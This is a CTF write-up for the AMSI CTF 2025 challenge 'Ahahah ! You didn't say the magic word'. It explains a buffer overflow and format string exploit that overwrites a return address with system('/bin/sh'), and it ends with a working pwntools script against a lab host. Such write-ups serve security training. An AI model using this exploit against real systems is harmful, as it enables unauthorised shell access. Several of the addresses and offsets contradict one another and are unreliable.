AMSI CTF 2025 - Ahahah ! You didn't say the magic word 😉

Vulnerability
This was a buffer overflow leading to a format string vuln.
We could leak data and do an arbitrary write because of reflected address in the leak, at position %17$p.
Leak return address
It was possible to leak the return address by overflowing 256 bytes of data and then use a format string* : in position %2$p we could leak a random stack address.
This random stack address was 628 bytes away from a return address.
Return address overwrite
Here is the strategy :
| Stack elements | Offset from EBP | Overwrite value |
|---|---|---|
| EBP | 0 | (unused) |
| Return address 1 | 4 | system (0x80507d0) |
| Return address 2 | 8 | (unused) |
| Argument | 12 | “/bin/sh” (0x80ba34d) |
We can do this in 4 writes of 2 bytes each (using %hn specifier) :
<stack_return_address_1>:0x27d0(2 less significant bytes ofsystem)<stack_return_address_1 + 2>:0x0x0805(2 most significant bytes ofsystem)<stack_return_address_1 + 8>:0xa34d(2 less significant bytes of “/bin/sh”)<stack_return_address_1 + 10>:0x080b(2 most significant bytes of “/bin/sh”)
Format string vuln exploit
I used 252 bytes of overflow (instead of 256 bytes) before doing the format string vuln exploit (because 4 bytes have already been written because of %2$p).
For some reason, we have to substract our bytes values by 12 bytes (because 12 bytes have already been written to stdout but i have no idea when). Here is the payload :
| Stack position | Total of bytes written (modulo 65535) | Format string |
|---|---|---|
| return_address | 0x27d0 - 12 = 10180 | %10180c%17$hn |
| return_address + 2 | (65536 - 10180) + 0x0805 - 12 = 57397 | %57397c%18$hn |
| return_address + 8 | (65536 - (10180 + 57397)) + 0xa34d - 12 = 39752 | %39752c%19$hn |
| return_address + 10 | 65536 - (10180 + 57397 + 39752) % 65536 + 0x80b - 12 = 25790 | %25790c%20$hn |
Do not blame me for these horrific calculations, i hate format strings even though this is super powerful.
Exploit
from pwn import *
elf = ELF("GRID_security_panel_cli")
p = remote("192.168.1.107",8000)
# system @ 0x80527d0
# /bin/sh @ 0x80ba34d
p.recvuntil(b"> ")
p.sendline(b"A"*256 + b"%2$p")
stack_retaddr_leak = int(p.recv(4096).decode(),16) + 612 - 0x10
print(hex(stack_retaddr_leak))
p.sendline(p32(stack_retaddr_leak) + p32(stack_retaddr_leak + 2) + p32(stack_retaddr_leak + 8) + p32(stack_retaddr_leak + 10) + b'B'*252 + b'%10180c%17$hn%57397c%18$hn%39752c%19$hn%25790c%20$hn')
p.sendline(b"quit")
p.interactive()